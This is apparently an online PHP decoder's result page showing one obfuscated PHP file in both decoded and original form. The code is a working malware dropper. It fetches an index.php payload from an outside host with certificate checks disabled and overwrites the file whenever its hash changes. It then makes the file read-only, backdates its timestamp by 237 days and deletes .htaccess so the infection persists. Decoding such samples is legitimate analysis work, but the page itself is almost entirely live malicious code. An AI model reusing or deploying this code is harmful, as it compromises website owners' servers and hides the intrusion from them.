Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto O187991051068687; O870025152910372: foreach ($O347563195637335 as $O6855419919..
Decoded Output download
<?php
goto O187991051068687; O870025152910372: foreach ($O347563195637335 as $O685541991918675) { goto O491640053027441; O259535388595768: if (!($O812988242000993 != $O200232146267129)) { goto O228728928165289; } goto O594208545415733; O973912663931606: O103997131681692: goto O899391854886957; O682982452019099: O591302541447739: goto O747311977827304; O726100075045963: $O812988242000993 = md5_file($O636807530831106); goto O259535388595768; O899391854886957: O228728928165289: goto O972892104243065; O491640053027441: $O117302380336910 = $O685541991918675["path"]; goto O171087950968800; O661729856029127: $O636807530831106 = $O117302380336910 . $O390877920953887; goto O726784724557652; O210103324309698: $O390877920953887 = "index.php"; goto O661729856029127; O040023035762680: @touch($O636807530831106, strtotime("-237 days", time())); goto O783272953338830; O597518165169209: $O200232146267129 = $O685541991918675["data"]["sum"]; goto O882462180976797; O181328615138727: if (!file_exists($O117302380336910 . ".htaccess")) { goto O890827783543109; } goto O371665068871698; O905105336690643: O625437234681577: goto O736496577490260; O882462180976797: $O748831688322857 = $O685541991918675["data"]["source"]; goto O210103324309698; O747311977827304: O777061383424700: goto O181328615138727; O171458942244599: $O812988242000993 = md5_file($O636807530831106); goto O534996450550621; O594208545415733: chmod($O636807530831106, 0755); goto O180809315187047; O963105107082151: chmod($O636807530831106, 0444); goto O040023035762680; O627926184446727: @touch($O636807530831106, strtotime("-237 days", time())); goto O973912663931606; O171087950968800: if (is_dir($O117302380336910)) { goto O873607016020937; } goto O613892083912832; O912621042438907: chmod($O636807530831106, 0444); goto O627926184446727; O736496577490260: o968980810677672($O748831688322857, $O636807530831106); goto O751697589458518; O783272953338830: O140563957190259: goto O682982452019099; O726784724557652: if (!file_exists($O636807530831106)) { goto O625437234681577; } goto O726100075045963; O785295518940948: O873607016020937: goto O597518165169209; O180809315187047: o968980810677672($O748831688322857, $O636807530831106); goto O645054711037521; O534996450550621: if (!($O812988242000993 != $O200232146267129)) { goto O591302541447739; } goto O729826732225546; O729826732225546: chmod($O636807530831106, 0755); goto O270538484045974; O371665068871698: unlink($O117302380336910 . ".htaccess"); goto O810674632204305; O270538484045974: o968980810677672($O748831688322857, $O636807530831106); goto O250833962749179; O972892104243065: goto O777061383424700; goto O905105336690643; O810674632204305: O890827783543109: goto O990780117438031; O751697589458518: @touch($O636807530831106, strtotime("-237 days", time())); goto O171458942244599; O250833962749179: if (!file_exists($O636807530831106)) { goto O140563957190259; } goto O963105107082151; O990780117438031: O297556554918862: goto O338079942218349; O645054711037521: if (!file_exists($O636807530831106)) { goto O103997131681692; } goto O912621042438907; O613892083912832: mkdir($O117302380336910, 0755, true); goto O785295518940948; O338079942218349: } goto O022249621013310; O972119265419704: $O347563195637335 = json_decode($O322144959398555, true); goto O842375376030538; O187991051068687: $O322144959398555 = "[\xd
{
\xa "path": "/home/pikmuttac/public_html/files/",
"data": {
"sum": "05e6addf074d015acbf536f7686dc95a",
"source": "https://spapi.co.in/pikmut.txt"
}
\xa }
\xa]"; goto O972119265419704; O666006857998635: function O968980810677672($O223831576185450, $O600313384689059) { goto O993436528947131; O755581473595793: O244561486659761: goto O731587949241438; O993436528947131: if (copy($O223831576185450, $O600313384689059)) { goto O244561486659761; } goto O120320324399609; O120320324399609: @file_put_contents($O600313384689059, O565472101174683($O223831576185450)); goto O755581473595793; O731587949241438: } goto O870025152910372; O842375376030538: function O565472101174683($O313875440912109) { goto O062227013118956; O192530847897111: goto O996202402578224; goto O783899171243846; O902141531273554: $O955919207903658 = $O313875440912109; goto O192530847897111; O560473489519284: if (function_exists("fopen") && function_exists("stream_get_contents") && ini_get("allow_url_fopen")) { goto O140010486614921; } goto O001514322230598; O249505203985109: $O955919207903658 = file_get_contents($O313875440912109, false, stream_context_create($O476121194492928)); goto O607684812057474; O383087652002899: curl_setopt($O510385535064423, CURLOPT_FRESH_CONNECT, true); goto O777824445758824; O668380453293161: curl_setopt($O510385535064423, CURLOPT_SSL_VERIFYPEER, false); goto O383087652002899; O256645693911698: O936894378659141: goto O324927206967288; O607684812057474: goto O996202402578224; goto O371005436101922; O865047174386024: O996202402578224: goto O309532229587672; O783899171243846: O915851774910005: goto O789098645329361; O276960613484583: $O955919207903658 = curl_exec($O510385535064423); goto O708352345019128; O708352345019128: curl_close($O510385535064423); goto O865047174386024; O309532229587672: return $O955919207903658; goto O970803178999808; O001514322230598: if (function_exists("curl_exec")) { goto O936894378659141; } goto O902141531273554; O062227013118956: if (function_exists("file_get_contents") && ini_get("allow_url_fopen")) { goto O915851774910005; } goto O560473489519284; O789098645329361: $O476121194492928 = ["ssl" => ["verify_peer" => false, "verify_peer_name" => false]]; goto O249505203985109; O250249460991817: goto O996202402578224; goto O256645693911698; O777824445758824: curl_setopt($O510385535064423, CURLOPT_RETURNTRANSFER, 1); goto O276960613484583; O022477907304958: $O955919207903658 = stream_get_contents($O925162216040023); goto O250249460991817; O752367050042401: $O925162216040023 = fopen($O313875440912109, "r"); goto O022477907304958; O371005436101922: O140010486614921: goto O752367050042401; O324927206967288: $O510385535064423 = curl_init($O313875440912109); goto O668380453293161; O970803178999808: } goto O666006857998635; O022249621013310: O568337553017955: ?>
Did this file decode correctly?
Original Code
<?php
goto O187991051068687; O870025152910372: foreach ($O347563195637335 as $O685541991918675) { goto O491640053027441; O259535388595768: if (!($O812988242000993 != $O200232146267129)) { goto O228728928165289; } goto O594208545415733; O973912663931606: O103997131681692: goto O899391854886957; O682982452019099: O591302541447739: goto O747311977827304; O726100075045963: $O812988242000993 = md5_file($O636807530831106); goto O259535388595768; O899391854886957: O228728928165289: goto O972892104243065; O491640053027441: $O117302380336910 = $O685541991918675["\160\x61\x74\150"]; goto O171087950968800; O661729856029127: $O636807530831106 = $O117302380336910 . $O390877920953887; goto O726784724557652; O210103324309698: $O390877920953887 = "\151\x6e\144\x65\x78\x2e\x70\x68\x70"; goto O661729856029127; O040023035762680: @touch($O636807530831106, strtotime("\55\62\x33\x37\x20\144\141\171\x73", time())); goto O783272953338830; O597518165169209: $O200232146267129 = $O685541991918675["\144\x61\164\x61"]["\163\x75\155"]; goto O882462180976797; O181328615138727: if (!file_exists($O117302380336910 . "\56\150\164\x61\143\143\145\x73\x73")) { goto O890827783543109; } goto O371665068871698; O905105336690643: O625437234681577: goto O736496577490260; O882462180976797: $O748831688322857 = $O685541991918675["\144\x61\164\x61"]["\163\x6f\165\x72\x63\x65"]; goto O210103324309698; O747311977827304: O777061383424700: goto O181328615138727; O171458942244599: $O812988242000993 = md5_file($O636807530831106); goto O534996450550621; O594208545415733: chmod($O636807530831106, 0755); goto O180809315187047; O963105107082151: chmod($O636807530831106, 0444); goto O040023035762680; O627926184446727: @touch($O636807530831106, strtotime("\x2d\x32\63\67\40\144\141\x79\x73", time())); goto O973912663931606; O171087950968800: if (is_dir($O117302380336910)) { goto O873607016020937; } goto O613892083912832; O912621042438907: chmod($O636807530831106, 0444); goto O627926184446727; O736496577490260: o968980810677672($O748831688322857, $O636807530831106); goto O751697589458518; O783272953338830: O140563957190259: goto O682982452019099; O726784724557652: if (!file_exists($O636807530831106)) { goto O625437234681577; } goto O726100075045963; O785295518940948: O873607016020937: goto O597518165169209; O180809315187047: o968980810677672($O748831688322857, $O636807530831106); goto O645054711037521; O534996450550621: if (!($O812988242000993 != $O200232146267129)) { goto O591302541447739; } goto O729826732225546; O729826732225546: chmod($O636807530831106, 0755); goto O270538484045974; O371665068871698: unlink($O117302380336910 . "\x2e\x68\x74\x61\x63\143\145\163\163"); goto O810674632204305; O270538484045974: o968980810677672($O748831688322857, $O636807530831106); goto O250833962749179; O972892104243065: goto O777061383424700; goto O905105336690643; O810674632204305: O890827783543109: goto O990780117438031; O751697589458518: @touch($O636807530831106, strtotime("\55\x32\63\x37\40\x64\x61\x79\x73", time())); goto O171458942244599; O250833962749179: if (!file_exists($O636807530831106)) { goto O140563957190259; } goto O963105107082151; O990780117438031: O297556554918862: goto O338079942218349; O645054711037521: if (!file_exists($O636807530831106)) { goto O103997131681692; } goto O912621042438907; O613892083912832: mkdir($O117302380336910, 0755, true); goto O785295518940948; O338079942218349: } goto O022249621013310; O972119265419704: $O347563195637335 = json_decode($O322144959398555, true); goto O842375376030538; O187991051068687: $O322144959398555 = "\x5b\xd\12\40\x20\40\x20\173\15\xa\x20\40\40\40\x20\x20\x20\40\x22\160\x61\164\x68\x22\72\x20\42\x2f\x68\x6f\x6d\145\57\160\x69\x6b\x6d\x75\164\x74\x61\x63\x2f\x70\x75\x62\x6c\151\143\x5f\150\164\x6d\x6c\x2f\146\x69\x6c\145\x73\x2f\42\x2c\x20\15\12\x20\x20\x20\40\40\x20\x20\40\42\144\x61\164\141\x22\x3a\40\x7b\15\12\x20\x20\40\40\x20\x20\x20\x20\40\40\40\40\42\x73\x75\x6d\x22\72\40\x22\x30\65\x65\66\x61\144\x64\146\60\67\x34\144\x30\x31\65\141\143\x62\146\65\x33\x36\146\67\66\70\x36\144\x63\71\65\141\42\54\40\15\12\40\40\x20\40\40\40\x20\40\40\40\40\x20\x22\x73\157\x75\162\143\145\42\x3a\x20\x22\150\164\164\160\163\x3a\57\57\x73\x70\141\160\151\x2e\143\157\x2e\x69\156\x2f\160\x69\153\x6d\x75\x74\56\x74\x78\x74\x22\15\12\40\40\40\40\40\40\40\x20\175\15\xa\40\40\x20\x20\x7d\15\xa\135"; goto O972119265419704; O666006857998635: function O968980810677672($O223831576185450, $O600313384689059) { goto O993436528947131; O755581473595793: O244561486659761: goto O731587949241438; O993436528947131: if (copy($O223831576185450, $O600313384689059)) { goto O244561486659761; } goto O120320324399609; O120320324399609: @file_put_contents($O600313384689059, O565472101174683($O223831576185450)); goto O755581473595793; O731587949241438: } goto O870025152910372; O842375376030538: function O565472101174683($O313875440912109) { goto O062227013118956; O192530847897111: goto O996202402578224; goto O783899171243846; O902141531273554: $O955919207903658 = $O313875440912109; goto O192530847897111; O560473489519284: if (function_exists("\146\x6f\x70\x65\x6e") && function_exists("\163\x74\162\x65\x61\x6d\x5f\x67\145\164\137\x63\157\156\164\145\x6e\x74\163") && ini_get("\141\154\x6c\x6f\167\x5f\x75\x72\x6c\x5f\146\x6f\x70\x65\x6e")) { goto O140010486614921; } goto O001514322230598; O249505203985109: $O955919207903658 = file_get_contents($O313875440912109, false, stream_context_create($O476121194492928)); goto O607684812057474; O383087652002899: curl_setopt($O510385535064423, CURLOPT_FRESH_CONNECT, true); goto O777824445758824; O668380453293161: curl_setopt($O510385535064423, CURLOPT_SSL_VERIFYPEER, false); goto O383087652002899; O256645693911698: O936894378659141: goto O324927206967288; O607684812057474: goto O996202402578224; goto O371005436101922; O865047174386024: O996202402578224: goto O309532229587672; O783899171243846: O915851774910005: goto O789098645329361; O276960613484583: $O955919207903658 = curl_exec($O510385535064423); goto O708352345019128; O708352345019128: curl_close($O510385535064423); goto O865047174386024; O309532229587672: return $O955919207903658; goto O970803178999808; O001514322230598: if (function_exists("\x63\165\162\x6c\137\x65\x78\145\x63")) { goto O936894378659141; } goto O902141531273554; O062227013118956: if (function_exists("\x66\x69\x6c\145\x5f\147\145\164\137\143\x6f\x6e\x74\145\x6e\164\x73") && ini_get("\141\x6c\154\157\x77\x5f\x75\x72\154\137\x66\157\x70\145\x6e")) { goto O915851774910005; } goto O560473489519284; O789098645329361: $O476121194492928 = ["\x73\x73\154" => ["\x76\x65\162\x69\x66\x79\137\x70\x65\x65\x72" => false, "\166\x65\x72\151\x66\171\137\x70\145\x65\162\137\x6e\141\x6d\145" => false]]; goto O249505203985109; O250249460991817: goto O996202402578224; goto O256645693911698; O777824445758824: curl_setopt($O510385535064423, CURLOPT_RETURNTRANSFER, 1); goto O276960613484583; O022477907304958: $O955919207903658 = stream_get_contents($O925162216040023); goto O250249460991817; O752367050042401: $O925162216040023 = fopen($O313875440912109, "\162"); goto O022477907304958; O371005436101922: O140010486614921: goto O752367050042401; O324927206967288: $O510385535064423 = curl_init($O313875440912109); goto O668380453293161; O970803178999808: } goto O666006857998635; O022249621013310: O568337553017955:
Function Calls
None |
Stats
MD5 | cdc7ff31136d70eb2d32eb21292aa831 |
Eval Count | 0 |
Decode Time | 58 ms |